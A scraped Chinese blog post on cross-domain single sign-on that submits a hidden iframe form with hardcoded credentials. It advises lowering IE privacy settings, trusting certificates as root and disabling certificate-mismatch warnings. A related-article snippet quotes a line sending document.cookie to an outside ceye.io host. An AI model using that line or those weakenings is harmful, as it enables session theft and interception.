跨域单点登录实现(使用iframe)_勇敢的心_百度空间

摘要:
跨域单点登录实施_勇敢的心_百度空间跨域单次登录实施2011-12-618:15目前,根据我的理解,似乎必须使用iframe提交表单。无法在ajax模式下编写Cookie。DOCTYPEhtmlPUBLIC“-//W3C//DTDXHTML1.0过渡//EN”http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd“˃跨站点单一登录$2.ie浏览器的cookie被阻止,会话无法传递,这会导致登录失败。默认情况下,ie浏览器支持的P3P协议在没有隐私和安全声明的情况下阻止第三方的cookies。相关文件下载跨站点单点登录。7z

跨域单点登录实现(使用iframe)_勇敢的心_百度空间

跨域单点登录实现(使用iframe)
2011-12-26 18:15

目前来说,据我的认识貌似必须使用iframe 提交表单的方式,ajax方式下无法写cookie(get请求除外)。

原理上很简单,但实现起来还是走了不少弯路,各种浏览器处理方式不一样也增加了调试的难度;几经曲折终于找到了一个相对合理的实现。

上代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>跨站单点登录</title>

<script language="javascript" type="text/javascript" src="http://t.zoukankan.com/jquery-1.4.1.min.js"></script>

<script language="javascript" type="text/javascript">
$(function () {
$('#btnajax').click(function () {

$("#isso").remove();
//动态框架
var $frame = $('<iframe name="isso" style="display:none">');
//跨站表单
var $demo = $('<form method="post" name="form1" action="http://127.0.0.1/demo/default.aspx"type="text" name="username" value="admin"/><input type="text" name="password" value="123"/></form>');//帐号信息可以写在配置文件或者数据库中,动态获取
$('body').append($frame);

//延迟执行
setTimeout(function () {
$("#isso").contents().find('body').html($demo );//创建表单
$("#isso").contents().find('form').submit();//提交表单
}, 10);

});
});

</script>
</head>
<body>
<input type="button" value="跨站请求" />
<iframe name="isso" ></iframe>
</body>

</html>

调试情况说明:

1.chrome浏览器下成功通过(这点很赞!)

2.ie浏览器cookie被阻止,无法传递session,导致无法登录

问题原因,ie浏览器支持的P3P协议默认阻止第三方无隐私安全声明的cookie。
解决办法:将ie浏览器中的隐私策略调至“低”等级一下
或者加入P3P头部说明

1) IIS的服务器

增加一个网站http头来解决问题
管理 工具——〉选择一个网站 ——〉属性——〉http头,增加一个http头
然后输入头名:P3P

输入头内容:CP=CAO PSA OUR

2) jsp页面:

<%
response.setHeader("P3P","CP=CAO PSA OUR");
%>

3. https 跨域证书错误提示导致无法通过,解决办法:

1) 将证书安装,选择存储区域“受信任的根证书颁发机构”
2) Internet 选项 高级里面 去掉 “对证书地址不匹配发出警告”

另外,对于过期的证书,目前还没有办法,建议重新生成证书。

相关文件下载跨站单点登录.7z

免责声明:文章转载自《跨域单点登录实现(使用iframe)_勇敢的心_百度空间》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇jQuery操作DOM对象linux设置tomcat开机启动下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Js 跨域之李代桃僵

1. 跨域的方法大致有七计 javascript的同源策略 同源策略是指协议,主机和端口 相同,就是为同源,不管后面在跟什么参数,否则都是跨域 个人觉得服务器上设置代理页面 或者设置跨域头cros最方便 锦囊一 在服务器上设置代理页面 ,如果是有类似nginx 服务的话,可以配置nginx 反向代理,因为跨域只针对浏览器. 比如nginx.conf ser...

window.opener方法的使用 js跨域

最近公司网站登陆加入了第三方登陆。可以用QQ直接登陆到我们网站,在login页面A中点QQ登陆时,调用了一个window.open文件打开一个login页窗口B,登陆后callback地址回调成功后,需要关闭当前window.open打开的login小窗口B,再将打开这个小窗口的原窗口页(A)刷新显示正确状态. 这时就用到了这个方法: window.ope...

通过iframe标签绕过csp

iframe.php代码如下: allow-popups开启时,window.open就可以打开新的窗口。 看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。 但是要是远程加载js文件是不...

iOS H5容器的一些探究(一):UIWebView和WKWebView的比较和选择

一、Native开发中为什么需要H5容器 Native开发原生应用是手机操作系统厂商(目前主要是苹果的iOS和google的Android)对外界提供的标准化的开发模式,他们对于native开发提供了一套标准化实现和优化方案。但是他们存在一些硬伤,比如App的发版周期偏长、有时无法跟上产品的更新节奏;灵活性差,如果有较大的方案变更,需要发版才能解决;如果存...

js 跨域 Jquery取得iframe中元素的几种方法

http://www.jb51.net/article/34942.htm 收集利用Jquery取得iframe中元素的几种方法 : 父页面访问子页面 $(document.getElementById('tabiframe0').contentWindow.document.body).find('.subscription').text() 测可用...

JS/jQuery刷新iframe的方法

一、js 页面刷新1.  reload 方法,该方法强迫浏览器刷新当前整个页面。  语法:location.reload([bForceGet])  参数: bForceGet, 可选参数, 默认为 false,从客户端缓存里取当前页。true, 则以 GET 方式,从服务端取最新的页面, 相当于客户端点击 F5("刷新") <script lang...